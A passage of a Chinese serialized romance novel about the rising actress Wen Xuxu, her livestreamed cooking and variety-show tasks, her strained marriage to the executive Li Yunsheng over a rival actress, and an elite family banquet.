“鸡肉选用的琵琶腿上的肉,做之前去掉了鸡皮和肥肉而且鸡肉热量并不高可以放心吃的,鱼肉也是有丰富的蛋白质而且营养价值很高热量却低,我做酸菜鱼的过程放的油很少也可以放心食用,糖醋里脊用的猪里脊,猪肉热量有点高不过我只买了半斤也就是二百五十克,七个人分食二百五十克的里脊肉那点热量均摊一下也就没多少啦。金针菇,油麦菜,包菜,黄瓜都是热量很低的,这里面只有土豆过油后热量稍高一点且属于碳水需要少吃一点。好,这就是我们今天的午饭哦。” 直播间也有杠精问做这么丰盛吃完后会胖吧,是不是要立什么吃货人设,为这个温栩栩特地一一做了解释。 “没有吃不胖的人,有些人现在还年轻不仅长身体且新陈代谢快一些而且经常运动所以吃下去的东西早早消化完不会转化成脂肪,但随着年龄增长新陈代谢逐渐变慢特别是工作后久坐的话更容易胖所以需要合理控制饮食。我不立什么吃货人设,我是吃肉的只是在吃之前会计算热量,如果一天的热量过量的话会加大运动量消耗。” 温栩栩对着直播镜头笑笑:“不过前阵子太忙所以瘦了几斤需要补回来,这样可以多吃一点。” 总裁办公室里传来的声音全都跟午饭和科普吃食及健康饮食有关,助理一度以为自己来错了地方。 “还要在那里站多久。”听到黎云笙冷淡的声音助理才恢复镇定面不改色的将文件摆到桌上汇报工作,背景伴奏则是温栩栩的直播声音,助理语速加快只觉自己顶头上司在虐狗。 好不容易熬过去能离开总裁办公室就听外面秘书敲门:“黎总您的外卖。” 助理心道我们黎总今天还没点外卖呢,他正要斥一句就见黎云笙挑了挑眉让人送进来。 外卖是华庭那边订做到点送来的,菜色很丰盛约莫八九道菜,每份都用雕花的木盒盛放,装的不多每份几口的分量。 这几道菜刚好能让一个人吃到七八分饱,后面还放了一份甜点,不是那种甜腻的口味,是蓝莓山药不仅不甜腻还解腻养胃。 助理面上带笑心里却翻江倒海心道这绝对不是黎总点的餐! 那外卖里放了张打印出来的字条,还印了个萌萌哒兔子小表情,黎云笙扫了眼瞧见上面打印的字不着痕迹的勾了勾唇,且还好心情的抬头扫了助理一眼,似乎是有那么点可怜他。 助理:?? 助理察觉到他的视线有点揪心不知道他顶头上司又发哪门子疯,索性他顶头老大还有点良心没让他惴惴不安的猜太久。 “这是温栩栩给我订的外卖,按照她今天的午餐给我订了一人份的。” 黎云笙点点桌子,仔细听他语气似乎带了那么点得意。 助理的笑意僵了,他已经不知道这是第多少次绷不住表情了。 这么几息过去,他黎总已经开始报菜名了,夫妻俩还都挺喜欢报菜名。 黎云笙又踩了一句:“有人关心你吃没吃中午饭给你定外卖吗?” 助理心酸:“我自己能订。” 黎云笙又道:“老婆订的和自己订的感觉能一样吗?一看你就没结过婚。” 助理:“……” 是不是有点什么毛病!攻击攻击唐少就够了怎么还无差别攻击你下属呢!多少有点禽兽了啊! 助理十分羡慕的扫了眼桌上丰富的菜色,他面色平静语气机械:“订的外卖和亲手做的味道还是不一样的,江少吃的可是夫人亲手做的。” 黎云笙看他的眼神不对了,助理鞠了一躬非常有眼色:“我这就滚了。” 黎云笙黑着脸看屏幕中江恒笑的跟朵花似的俊脸第不知道多少次产生想杀他的念头。 黎云笙默了片刻给江恒去了通电话,江恒已经在乐颠颠抢肉吃了。 看到来电是黎云笙他嘿了一声一猜就知道怎么回事儿直接摁断不肯接听还特地把这一桌子菜拍下来发微博炫耀,这种人如果活在战乱年代大概就是开着车在外瞎溜达车上还挂满金银珠宝炫富想让人一枪子儿崩死的混账玩意儿。 他不爽的啧了一声想给温栩栩发信息让她把人赶出去却又担心有损自己的形象才作罢。 温栩栩直播间涌进来不少吃货开始报菜名想看温栩栩做红烧肉东坡肉炖猪骨还有些想吃猪蹄儿的。 说什么的都有,助理在一旁念了念粉丝说的这些菜,温栩栩捂脸:“不是我不想做啊,是真的热量太高啦,红烧肉吃一块胖好多的,宝贝儿你们知道这脂肪含量多高吗,红烧肉真的好吃我也很爱但是会胖会胖会胖啊。”温栩栩手指着饭桌上的几人,摄像老师很懂的分别拍了一圈。 “看到没有,作为艺人保持身材也是我们的工作之一,红烧肉你们一定要看我做的话可以明天中午做,到时候晚上练习舞蹈消化热量也可以。”温栩栩提到明天做红烧肉直播间粉丝嗷嗷叫,江恒也嗷嗷叫:“我不服气,为什么今晚不做红烧肉啊我也想吃!” 第574章 明天就滚蛋 江少爷就来一天,明天早上之后他就滚蛋换新嘉宾了。 温栩栩左手撑着脸瞥他一眼:“我不可能晚上做那种高热量的食物,你死心吧。” 温栩栩说完对着镜头还是叮嘱了句:“有些食物真的很美味,我知道大家都爱吃我也很爱吃,不过我还是建议早上多吃蛋白质中午可以适当吃碳水和肉,晚上的话不要吃太多,最好是吃蔬菜,这样营养均衡对身体也好。” 这话是真的在为粉丝考虑,但江恒却从这句话里听出来别的意思。 他夹菜的动作都跟着抖了下:“晚上吃蔬菜……你是要我跟着你吃草吗!!” 江恒不敢置信有人竟然要逼着自己吃草,快速的往嘴里塞了口糖醋里脊出气。 温栩栩很给他面子:“你晚上想吃什么。” “红烧肉!”江恒张口就来。 温栩栩给他盛了一碗汤提醒他:“如果你想明天一觉醒来胖三斤的话我可以满足你。” 江恒完全不信:“我以前吃红烧肉都没有胖三斤,你少唬我。” 温栩栩怼他:“像你这种一觉睡到下午一天只吃一顿甚至有时想不起来就不吃的人来了性子吃一次红烧肉当然不会胖三斤,不要在这里教坏粉丝让他们跟你学这些坏习惯。” 江恒摸摸鼻子不置可否,粉丝在直播间纷纷吐槽江恒被温栩栩吃的死死的,还有江恒粉丝在刷希望江恒好好吃饭,温栩栩助理小和读到有关江恒粉丝让他好好吃饭的评论。 江恒嘴上应着心里其实没怎么当回事。 开玩笑,让他早上起来去吃早餐?那还是一天一顿吧! 温栩栩看着一旁乖巧喝汤的江恒冲他“哎”了一声:“你粉丝都让你以后按时吃饭养好身体不如以后你就每天发条三餐图片的微博好让你粉丝知道你有没有好好吃饭?” 江恒一副苦大仇深的表情瞪着温栩栩:“你是什么魔鬼。” 温栩栩笑的开心:“可是你粉丝都很高兴啊,江少爷答不答应啊。”温栩栩打趣她还不忘用公筷给杜佳安夹菜,江恒满脸幽怨:“这种事情哪能随便答应,你不给我点好处我是不可能应的。” 好处?美得你。 温栩栩懒得理他,跟杜佳安秦萌萌几人说说笑笑提到后面要拍杂志参加晚宴的事,被冷落的江恒不甘心的插话:“要不你跟我再搭一部戏我就照你说的做。” 温栩栩脑海中想到的就是黎云笙递给自己的那个电竞剧本,那男主角色的人设跟江恒还挺搭的,傲娇小狼狗电竞选手,温栩栩想想江恒最近的演技再考虑到他的热度有片刻的动摇。 秦萌萌跟江恒抢肉吃没抢过江恒扁着嘴:“江老师你是粘定我们队长了吗,你们都合作过多少次了,我们队长还要认识新的小鲜肉呢。” 江恒不乐意的含糊道:“圈子里的小鲜肉还有谁比我更好看的?之前温栩栩不跟我一起拍戏说我演技不行,我那不是请了表演老师在练了吗,我觉得我现在演的也还能看得过去。” 其实江恒想跟温栩栩一起拍戏是因为跟她一起拍会很安心。 他在温栩栩之前跟别人搭档拍过戏,虽然咖位在那里但那些合作的女演员不知道他们的身份私下里没少跟组里的人嘲讽他演技差靠着资本进组,他那时心高气傲因为这事一度自卑总觉得自己演技很烂,越这么想就演的越烂。 到后面他也知道自己演技不行可就是憋不住这口气就更想演戏来证明自己,可怎么演还都是老样子直到遇到温栩栩才被她带的入了戏。 他想着如果跟温栩栩再合作一部戏自己是不是以后能单独拍戏能学到更多,这才是江恒现在的目的。 温栩栩眉毛动了动意味深长道:“你确定要在直播的时候跟我提合作电视剧的事?你信不信我们两个现在已经因为下一次合作的事被挂到热搜上了。” 直播间的粉丝飞快去热搜瞟了眼,果然像温栩栩说的,这前脚说了合作的事营销号立刻就在微博发了消息说温栩栩江恒即将再度合作。 江恒察觉这事有戏立刻老实了,直播间粉丝怎么问他都没再叭叭。 下午导演组果然没让他们安生休息给每个人都安排了一份工作,用这份工作才能赚取微薄的薪水当做生活费。 薪酬是真的少,做完了相应的任务还需要转大转盘才能拿到钱,转盘上最大数额的才一百元,其余都是十元,二十元,三十元,五十元,一百元占据的比例最少,可以说节目组非常抠门了。 有倒霉的抽到帮附近的人遛狗,去广场化好妆去当街头流浪歌手,还有去帮人摆摊卖小吃的,每个人抽到的都不同,温栩栩算是最惨的抽到了送外卖,江恒是当街头流浪歌手比她运气稍稍好一丢。 粉丝在直播间纷纷笑她。 温栩栩歪头绽放出一个笑脸:“跟拍我的摄影小哥应该会比较辛苦,我看到导演已经把无人机取出来了,看来我这一波直播有点麻烦了。” 摄影小哥摆摆手涨红着脸表示自己不辛苦。 送外卖会很累肯定没办法化妆,索性就打了个底换上沟通好的外卖商家的衣服。 温栩栩小声提了一句:“这家外卖一直都是准时准点送达的,刮风下雨都在路上为我们忙碌大家多多支持。”说完才问了句:“导演,他们给投资了吗?” 导演哭笑不得,摄影师镜头给到导演,导演举着个牌子,牌子上写了四个字“金主爸爸”。 直播间粉丝都是嘻嘻哈哈,温栩栩挑挑眉将一头长发梳到脑后露出光洁的额头,整张脸都暴露在直播间中,。 她只打了底没化妆,穿着外卖工作员的服侍却像是分分钟能去走红毯,就是有那股压人的气质,只是露出甜美的笑容整个人显得年龄很小,像是还没毕业的高中生。 {我突然有点明白导演为什么让我栩栩姐姐去送外卖了……谁见过这样的姐姐啊,妈惹好可爱,好想去捏她脸!} 第575章 当她是宠物 弹幕飞速飘过。 {江恒见过这样的姐姐还把姐姐气哭了,忘了那个一起合作过的短剧了?} {姐姐高中时期应该很漂亮吧,那种让所有人都震撼仰慕的美吧。} {呜呜呜绝美颜值温栩栩!超绝爱豆温栩栩!超棒演技温栩栩!} 直播中的温栩栩已经接了附近区域的一单,导演组定的地点是A市最贵的商业区板块,好巧不巧黎氏就在这附近。而她接到要派送的第一单就是来自黎氏。 温栩栩挑眉。 订的是华庭的餐,这些菜偏偏还都是她中午做过的那些…… 她老公来支持她工作了。 黎氏员工似乎早知道她会来,看到跟拍的摄影师在她身后也不阻拦只抬头看了眼就放行,一路到顶层,温栩栩提着食盒眉眼弯弯的笑着直到看到从办公室出来的颜佳雨。 颜佳雨,黎云笙曾经的白月光,现今的娱乐圈一线影后。 她也是在见到过颜佳雨后才知道黎云笙为什么会被自己勾上床。 因为她的容貌跟颜佳雨很像。 换句话说,她被黎云笙当做了颜佳雨的替身。 真是可笑。 温栩栩笑意不变眸中却多了几分猜不透的冷意。 “温栩栩,好久不见啊。”颜佳雨一如既往的优雅,她看着很温柔的同她打招呼:“这是在录制节目吗?大家好啊。” 直播间不止有温栩栩的粉丝还有江恒的粉丝及一些路人,这毕竟是国民度很高的影后,路人都喜欢她。 直播间弹幕不少都在刷舔屏影后姐姐。 温栩栩笑容甜美:“我们在录制团综,我抽到了送外卖的任务,运气真的超好碰到了颜老师。” 运气真是衰爆了碰到这个绿茶,温栩栩暗地里磨牙。 颜佳雨一副了然的样子:“那云笙给我叫的外卖就是由你来送的吗?” 给她叫的? 温栩栩眸光闪烁,顶层会议室的门被打开,里面的高层纷纷走出来与颜佳雨握手:“黎氏珠宝首饰和星耀手机全球总代言人是颜老师我们非常荣幸,希望以后有机会颜老师还能跟我们黎氏合作。” 一旁的一位经理笑呵呵:“当然有机会合作,黎氏投资的年度大戏《误杀》不就是颜老师主演吗,有颜老师加持这电影必定大爆。” 几人附庸着颜佳雨说着讨好的话,直到助理与黎云笙从会议室中走出,温栩栩见到那人心头麻木带点钝痛。 她不清楚自己在难受什么,她自知自己不爱黎云笙,此刻的难受不过是觉得被颜佳雨把自尊丢到地上踩,就像是故意在她地盘耀武扬威。 颜佳雨当然知道她跟黎云笙关系匪浅所以才会故意夺走代言和女主名额,她为的就是打温栩栩的脸。 什么好巧又见面了,她分明是早知道温栩栩要来也知道她抽到送外卖的任务特地点了那几道菜在这里等着侮辱她。 温栩栩面上仍然挂着笑,她一步一步走到黎云笙面前:“您点的外卖,方便的话请给我五星好评,祝您用餐愉快”她弯腰鞠躬动作标准且有礼,男人眸光晦深的看着她,眼神让人十分难懂。 镜头拍到男人的侧脸,直播间本来还在讨论颜佳雨跟黎氏的合作却在这一瞬整个直播间都默了片刻,只为那秒现的俊美侧脸,仿佛偶像剧里自带滤镜的天选男主,五官精致且自带几分戾意,那双幽深漆黑的眸像是一汪深潭让人忍不住抛弃一切沉溺在其中。 直播间静了几秒开始疯狂尖叫。 {妈妈我恋爱了!} {我秘书呢!我秘书死哪儿去了!十分钟内我要那男人所有的资料!} {嘤!这是什么绝世美男!帅到妈妈心坎了,在爬墙的边缘蠢蠢欲动!} 男人眸光冰冷的瞥了眼摄像师,摄像师手一抖立刻移开镜头继续拍摄温栩栩,他微微颔首:“谢谢。” 只两个字又让直播间的观众一阵吱哇乱叫。 温栩栩保持着礼貌的微笑离开前特地跟颜佳雨“友好”的打了声招呼这才进了电梯,却是再没有回一次头。 直播间观众还沉迷在黎云笙的美色之中无法自拔。 {黎氏的美男,是不是黎氏总裁啊?我记得黎总逆天颜值。} {估计是黎氏要新捧的男演员吧,刚好来直播间露露脸。} 所有人的都信了这一说,毕竟长成这样就该进娱乐圈造福大众啊。 离开黎氏讨论他的人也逐渐少了,在直播间温栩栩的粉丝占绝大多数,她仍然不停的接单脸上带笑的跟客户交流态度十分友好,偶尔几次还碰到了粉丝跟粉丝合影拍照。 忙碌一天最终几人运气都还不错,江恒手气好抽到一百元被温栩栩把钱收起来打算第二天给嘉宾炖牛肉,气的江恒直哼哼最后还是撇着嘴跟温栩栩吃草。 晚上完成录制回到房间不出意外的看到男人时她表情未变,只身去浴室,今天一天都很累,她现在只想沐浴后好好休息。 身后贴上男人结实的胸膛,她转身回望着他,眼神迷离却又清醒的在浴室同他接吻,火势渐猛她背抵着冰冷的墙面由着他发泄。 直至火势彻底熄灭,她喘息着撑着浴室内的白瓷墙:“你没跟我提过《误杀》这部电影。” 她转过身抹了把额前的汗重新打开花洒冲刷着身体,伴随着花洒的声音她说:“我要做《误杀》的女主角。” 男人眯着眼睛认真仔细的打量她,她不像平日里软乎乎的模样,反倒是带几分尖酸刻薄之意,他只当她是养在身边的宠物,一个随时会对他亮爪子的宠物他能宠但也不会真让她忘了身份。 “我以为你是个聪明人。” 温栩栩冲洗着身上男人留下的东西却轻笑着:“跟我亲热后告诉我认为我是个聪明人去维护颜佳雨……” 她抬眸眼神带着讽意:“你该知道如果今天我没有接到那单外卖去黎氏我就不会知道《误杀》的资源到颜佳雨手中,如果不知道这一切就不会去争不会去抢。” 第576章 心有不甘 她轻声问他:“是谁让我知道的呢?” 他并不言语穿上衣服就要离开,温栩栩低笑几声:“我们领证前你说过会给我最好的资源会对我好把我当成妻子,所以堂堂黎总就是眼睁睁看着别的女人肆无忌惮的欺辱你的妻子吗。” 她拊掌笑的眼睛弯起来:“哦,我忘记了,颜佳雨就是这其中的一个变数,你不仅可以看着她欺辱我,还能帮她扫去那些欺辱我的痕迹让所有人都觉得阮影后依旧是那个温婉大气的演员。” “我算什么呢,我就是你用来解决生理需求的玩具。”温栩栩清醒的说出自己在他心中的地位:“玩具哪里需要你用心维护呢。” 男人还是走了,温栩栩望着他远去的背影终于按捺不住的坐在注满水的浴缸中抱住膝头像是在笑又像是在哭。 她有时候确实会看不清自己,她是活的很清醒但有时候却并不十分理智。 她知道黎云笙娶她是拿她当替身这件事其实在去黎氏几次后就猜到了,因为有一个秘书对她很有敌意,甚至特地在她面前提及颜佳雨。 她那时就猜到她可能只是个替身,可她觉得自己不爱黎云笙,不在乎他所以她一开始不在意,只要能给她资源能给她帮助做她的靠山他想怎样都行,可黎云笙真的很优秀,如果不提颜佳雨他总是会对她很好,甚至给她一种两人真的是夫妻的错觉。 可每次涉及颜佳雨他都是这种态度更让她清楚自己只是个替身,也只能是个替身。 她猜得到颜佳雨回国后一直在圈内恶心她,演员节目结局抽到替身题材剧本她不信那是巧合,恐怕那天怎么抽最后结果都是抽到替身题材剧本,好像就是某人借着那个机会告诉她,她就是个替身只配做个替身。 这次颜佳雨又是故意点了那几道菜让她亲自送到黎氏让她看清楚她们之间的差距。 黎云笙送到她手中的资源和给她的资源天壤之别。 他能宠她给她的却也只是珍贵些的珍珠宝石,而颜佳雨得到的却是世间少有价值千金的珍宝。 她心有不甘,不觉得自己不如颜佳雨,她觉得自己可怜却又觉得是自己孤注一掷选了这条不归路是活该。 浴室的暖光都带了点冷意,她抬头瞧着晃眼的灯光唇角不由的勾勒出一抹淡薄的笑来。 翌日温栩栩的专辑抛出所有MV,就像江恒在直播间剧透的那样,温栩栩的单曲《暖光》果然有三个版本,其中一个版本全都是甜美欢乐,第二个版本则是轻松愉悦,第三个版本却是多悲情,明明是同一首歌改了乐器和一点调子。 粉丝们昨天看了直播就知道第二天可能更新三版MV,待看了三版MV后简直对温栩栩是羡慕嫉妒恨了。 第一版是温栩栩和少年时期的江恒在一起的故事,第二个则是温栩栩跟工作了的夜阑相携,第三个就了不得了,把前两个故事串到了一起,看过前两个版本的就彻底懂了,少年江恒是温栩栩的前男友因为误会而分手才有了第二个版本故事跟夜阑在一起,但第三个版本中江恒作为前男友在机场跟温栩栩夜阑相遇,江恒和温栩栩偷偷牵手,最后结局的剪影是夜阑孤寂的身影以及江恒牵着温栩栩狂奔的背影。 看完三个连到一起的故事本来前两个甜滋滋的MV都变味儿了,粉丝们边夸边羡慕嫉妒。 毫无疑问MV被顶上热搜,但处在热搜榜一的还是颜佳雨出演《误杀》女一号,这部电影是由上面扶持的项目黎煌进行了投资并拿下了这项目,首先题材方面绝对是红色题材且主角形象非常正面,不出意外应该是来年十月一日上映。导演请了三位,均是Z国优秀大导,赵珂就是其中一位。 温栩栩没心情看热搜,隔壁别墅也空了,她眸光闪了闪猜到昨晚那事后男人短时间内是不会回来。 她面无表情的嗤了一声像是自我嘲讽,却还是给他发了信息询问新剧组建立的如何,并说明这部剧自己会全权投资不需要黎氏插手,而男主角她选定了江恒。 男人收到这条信息时电脑屏幕播放的是《替身》短剧,视频已经播放到后半段,屏幕中的苏萝面色悲痛眼眸赤红的询问苏清远的那一段话,一个又一个的为何二字让他恍惚间仿佛看到视频中的人变成了温栩栩。 这个剧本是写给谁的,是谁让她抽到这题材的剧本。 {哦,我忘记了,颜佳雨就是这其中的一个变数,你不仅可以看着她欺辱我,还能帮她扫去那些欺辱我的痕迹让所有人都觉得颜影后依旧是那个温婉大气的演员。} 温栩栩说过的那段话突兀的在耳边响起。 《替身》两字绝不是他提起的,是谁提起的?温栩栩知道他稍加想了片刻也知晓那人是谁。 他望着视频中苏萝像是解脱的笑和那空洞的眼神,一直到最后结局处她跳到德亲王怀中眼底的依恋和倾慕,那是整个短剧中苏萝最干净最无害的眼神,她把身上最后那点干净的情意全都给了那人。 颜佳雨借替身来讽刺温栩栩,温栩栩就写了这样的剧本反讽,她不仅讽了颜佳雨还讽了他。 只是德亲王那个角色能是谁? 黎云笙眸色晦暗。 许愿? 温栩栩还真是……一如既往的在意许愿。 许愿大概就是是她那些年内心唯一的一方净土,是她这辈子最无忧无虑那些年可以依赖在意,更是她可以拿命去维护的人。 这世界上如果还有一个人能够替代《替身》中德亲王的角色,那人一定是陪伴温栩栩长大的许愿。 黎云笙嗤笑一声,他的眼睛危险的眯起来,打开一份文件夹,里面掉落几张照片,照片中的温栩栩对着镜头笑着,只是能感受到她余光是看着身旁的人,而她身旁的人是许愿。 黎云笙眸中冷意深了几分,下一张照片的温栩栩环抱着许愿,她面对镜头时眼睛亮闪闪的,笑意也不加掩饰,颊边的酒窝十分显眼,透过照片都能知晓照片中的温栩栩有多开心能陪在许愿身边。 第577章 温栩栩是他的人 下面一张照片温栩栩长大了不少,但脸上还是带着婴儿肥圆嘟嘟的,只那双眼睛很大很亮,也可能是跟在许愿身边才会有这样的神采。 她头上带着兔子发箍,笑吟吟的给许愿戴上另一只兔子发箍,许愿表情有些无奈却也任由她胡闹。温栩栩愉悦的心情都要透过照片漫出来让人感受到她身边有那人是多么无忧无虑多么欢乐…… 男人眸色冷淡的将照片丢到桌上。 无论如何,温栩栩是他的人。 …… 几天时间,温栩栩的团综录制完成,演员综艺四个短片最终投票结果公布,《替身》短剧成为断层第一夺得冠军,温栩栩收到节目组邀请回去录制最后一期拿到冠军的获奖感言,但中途却因为这件事出了岔子。 有营销号爆料温栩栩的《替身》短剧全都是靠水军刷上去的票数全都做不得真,并同时举报温栩栩作假,否则不可能票数出现这种夸张的断层可能。 温栩栩早有准备第一时间@节目组曝光后台数据,检测结果温栩栩的《替身》在最后一天已经以高票数位居第一,但在最后一小时票数还在疯涨,摆明了就是想趁机诬陷温栩栩买票数特意伪造夸张的断层票数遭人诟病引人热议。 参加演员综艺的嘉宾演员里有戏龄比较长的却并不是流量演技也谈不上精湛,至于江恒这样的纯属为了玩,其他有点热度的多是为了露个脸,那种流量不行还自以为是的也有,不然也不会在节目播出时那么多人抱团攻击温栩栩。只是温栩栩以《替身》短剧已经用演技征服了不少粉丝和路人。 一群魑魅魍魉买通营销号甚至给温栩栩水票最后还是没能伤到温栩栩,路人都无语了也明白过来有人就不想温栩栩火,总归是温栩栩有点热度她们就想把人摁下去。 {温栩栩这明显马上就要成为顶流,等温栩栩真的成为顶流女艺人那些代言合约到期的艺人肯定担心自己这边会被换掉从而选择新晋顶流温栩栩,娱乐圈蛋糕就这么大谁想自己的东西分给别人?最好的办法就是在她没能彻底成长起来前让她火不起来。温栩栩这种全能型的谁都担心吧。} 这条评论被无数人转发,这也是对温栩栩实力的一种肯定。 演员综艺最后一期录制完毕,最新一期更新了,这一期正是温栩栩江恒和周瑛几人一起合作那一期,也刚好让一些还在质疑温栩栩走到最后决赛的人闭嘴。 周瑛,娱乐圈出道较早的女童星,但相貌不算是大美女却总爱演第一美人的角色,演技不算精湛全都是营销,最喜欢捆绑男星炒作,在跟温栩栩一起合作这个短剧的时候就一直嚷嚷着要演这次短剧的女主角,一直称自己才是最漂亮。 当时若非江恒在这里压着,周瑛还真能闹出点事情来。 新一期演员综艺准时播出,周瑛在排练室内吵着嚷着要演幺幺那一幕让人看了都想笑,温栩栩好脾气的没跟她争,结果排练时周瑛因为演技太烂被指导老师孙妍骂的哭出来最终还是把角色拱手让出来不敢再说演幺幺这种话。 周瑛的粉丝讽温栩栩是心机婊,明明知道周瑛不适合这个角色还让她演就是摆明了想她出丑。 这次不等温栩栩粉丝回怼江恒粉丝就先看不上的骂起来:“真当我们看不出来周瑛为什么想演幺幺啊,她就是想跟我们江恒一起搭戏,我们江江一开始就说你家不适合了怎么不来骂我们江江?得罪不起我们江江在这里挑软柿子捏找温栩栩的茬?要点脸吧!这些年周瑛拍了多少部烂剧每一部都是第一美人九州美人九重天第一上神,可去她的吧!她长得最多也就是清秀只能说放路人里面算是小美女,可这颜值在娱乐圈里算什么啊?她有几个剧里那丫鬟都比她颜值高了!还在这里觉得自己美呢!照照镜子吧!别在家自恋了!” 江恒粉丝那是真的疯。 她们不待见周瑛,可以说很多追星追剧的粉丝们都不喜欢周瑛,主要因为她又作又矫情还总喜欢挑战不适合自己的角色,总拿自己当大美女,谁看谁都觉得脑壳疼。 这次《常青山下》的幺幺就是类似小龙女这种清冷绝世美女的角色,节目中周瑛听到这里眼睛都亮了所以才想抢角所以才犯了众怒。 有人结合了下周瑛前阵子发微博内涵自己被人抢角一事,算算日子就是录制演员综艺那几天,这么一瞅可不就是在说“幺幺”这角色被温栩栩“抢”去了吗。 这事情曝光周瑛又是被一阵群嘲。 温栩栩《常青山下》的舞台结束观众看的都痴了,一直蹲着看后台数据的导演也乐的不行,只要有温栩栩每次的收视率都比平日里高两倍还多。 同一时间《常青山下》被顶上热搜,但因为节目还没播完讨论的热度并不那么高。 《常青山下》播完后几人与导师合作拍摄的短片轮番播出,温栩栩和夜阑两人携手拍摄了一段十分压抑的片段,较之《常青山下》更让人窒息。 短片名叫《山海》短片全程只有夜阑和温栩栩两人。男主角和女主角是兄妹,两人命途多舛父母早年因意外去世,兄妹二人相依为命,女主角也在那场车祸中双腿残废不良于行却又因为父母的去世受了刺激有了重度抑郁症自闭症不能融入社会,男主角却在此时查出绝症最多只能再活三个月。男主角不得已逼着女主角独自生活,只短短十五分钟的片段却看得人不停落泪,温栩栩出演的妹妹让她获得当场最多的票数走到决赛,这下再没人能置喙温栩栩走到决赛靠的是资本。 演员综艺节目在电视台播出后几家视频APP也准时更新演员综艺最新一期节目。 热搜已经爆了,这期节目让观众看到江恒的进步,当然被议论最多的当属温栩栩的炸裂演技。 第578章 郎才女貌 {一遇到温栩栩我就想疯,这个女人让我不知道说什么好了!今晚的幺幺和妹妹让我暴风哭泣,我真的从头哭到尾,《常青山下》是在虐心,那《山海》就是虐你的身心和五脏六腑能虐的全给你虐了!她到底是怎么演的这两个角色,我现在看到她都觉得心痛想抱抱她。} {不是吧不是吧,江恒都开始学习表演有进步了周瑛还原地打转自我感觉良好呢?能不能有点自知之明?都被你表演老师训成什么样了?自己心里是真一点数都没有。} {《常青山下》让我哭个不停,《山海》又让我不停扯纸巾,我现在看到温栩栩就感觉温栩栩是个病弱的美人,生怕她磕到碰到再受伤。} {就冲着两个短片谁还能说温栩栩演技不好?温栩栩走到最后靠的是实力才不是背后资本!} {啊,我就小声逼逼一句,我喜欢幺幺,从今天开始幺幺就是我脑婆了,不服来杠。} 明明在讨论演技一群人突然歪楼开始频频谈论幺幺,一群男人疯狂转发关于幺幺的动图并表示幺幺就是他们的梦中情人。 还有人提到新神雕侠侣的小龙女如果主演不是温栩栩他们都不肯看,看看幺幺再看看小龙女的人设,温栩栩还不够合适? 事情闹得沸沸扬扬的,温栩栩也凭借这两个角色得到了不少导演的赏识,但她的经纪人还是没有消息。 她也不太在乎经纪人能给自己拿到多少好资源,经纪人手里的资源多半都去喂她亲妹妹了,怎么可能真的向着她?她不抢她手头的资源分给她妹妹都是好的。 温栩栩的女团风头正劲,温栩栩自演员综艺后热度一度到最高点,不少资本看重她此刻的价值但又担心她只能红几个月所以不想签长期合约。 温栩栩也正有此意,签下的单人代言全部都是短期的一季一更换,但因为此刻热度流量在这里拿到的代言薪酬就是天价。 酸奶,零蔗糖饮料,洗发水,口红,轻奢礼服,品牌运动衣,咖啡,牙膏,轻奢品牌手表一系列短期单人代言,明面上她是黎氏的艺人但事实上她有自己的工作室,这些代言费因为黎云笙的首肯所以并不会抽成,除去缴纳的税款剩下的全部都是温栩栩自己所得,单是短期代言除去税款总价过亿,一度登上Z国高收入艺人排行榜前十,出道即顶流收入也稳居前十更让人注意到温栩栩这个新晋的顶流艺人。 因为她的身份,且跟黎云笙的关系,所以收到了江家宴会的邀约。 青山居宴会厅,外面夜色漆黑路边停满奢华的车子,宴会厅内灯火通明亮如白昼。 红毯自门口一路延伸至大堂,空气中弥漫着浓郁轻柔的花香皆由四周花篮中摆满的各路名贵花朵中散发出来,透明窗边遮掩的窗帘是淡金色的,灯光折射下更显奢华,更显整个宴会厅仿佛都映上一层富贵的浅金色。 这是由上面一些背景深厚的人为领头人特此举办的宴会,以江家从政的江夜回为主。 为此这场宴会被各家都极为看重,不止A市能叫得上号的贵族纷纷前来其他城市的贵勋也受邀前来,只为能提前知晓一些上面的动作跟这些有背景的人搭上线。 江夜回也是江恒的其中一位表哥,这是江家的宴会,韩城也被韩越带过来。 江恒浪荡惯了,他就是不想继承家业不愿管家才去娱乐圈鬼混现在被揪去参加宴会当下就想找人求救。江行野冷不丁给他支了一招让他找了温栩栩当女伴。 温栩栩新戏刚杀青正想休息两天本也没什么事就应下来以他女伴的身份出场。 二人已经来的迟了一些,场内不少人时不时朝两人看去。 江家小少爷不喜欢经商一门心思往娱乐圈挤一度成为上流圈子的笑话,但偏因为这江小少爷投了个好胎投到了江家谁也不敢笑话,更别说这江小少爷最近隐隐有了事业运上升的势头,关注他的人也多了些。 关注江恒的人自然不可避免的听过温栩栩的名号,也知晓温栩栩是新晋流量,更知道温栩栩跟江恒的CP。 现在这群人骤然看到两人相携参加宴会不由深信温栩栩是真的抱上了江家人的大腿,往后说不准真能嫁进江家。 周围人眼神怪异的看向两人,温栩栩和江恒两人本就属于舞台,哪怕是万人的舞台都待过又怎么会怕宴会上这些人的异样眼神。 江恒一身规整的白色矜贵西装,皮肤很白,那张面容过分骄矜美丽又带着几分俏几分英气来,分明是雌雄难辨的面容却让人一眼撇去就不会认错性别,许是因为他身上那嚣张劲儿。他身边揽着他手臂的人一袭妖冶红色裹胸贴身开叉长裙,身上外搭一件白色皮草。 她一头乌黑长发被不规则的高高盘起却又带着几分凌乱野性的美,她的妆容并不浓,灯光下照的那张美艳的脸白皙无暇,手臂细嫩羸弱,走动间偶尔露出一条修长完美的性感长腿。 她的美十分撩人,早从温栩栩出道后她走过的红毯视频图片一直广为流传,有人说现在红毯没有温栩栩都没有看头,每次都在等温栩栩的红毯,当时还以为这话夸张了,如今见到她本人却发现并未夸张 。 她的皮相固然是美的,但从骨子里乃至那双桃花眼里散发出来的迷人气息更勾人,呼吸间眨眼间都像带了致命诱惑,她本人就像一朵危险却淬了毒的罂粟花,让人渴望接近又克制的想远离却终抵不过她微扬眼尾那一个蛊惑的眼神。 这两人相携而行真像是应了“郎才女貌”这个词,也不怪江恒死追温栩栩不放。 江行野远远看到江恒和温栩栩唇角勾起一抹笑冲江恒微抬下颌示意他过来,江恒随温栩栩一路走过去,江恒收敛了自己身上那股子桀骜气道:“哥。” 温栩栩也笑着打了声招呼:“又见面了,江先生。” 第579章 江夜回 韩越也走过来跟她二人寒暄两句,倒是一旁的江夜回饶有兴味眼神颇有几分深意的打量着温栩栩。 “我在议院一直听人提起最近有位女星很火打开手机各种软件开屏广告都是这位叫‘温栩栩’的女星,温栩栩小姐还真是星途十分坦荡。” 江夜回一脸兴味晃了晃手中的红酒杯,好整以暇的等着温栩栩的回答 。 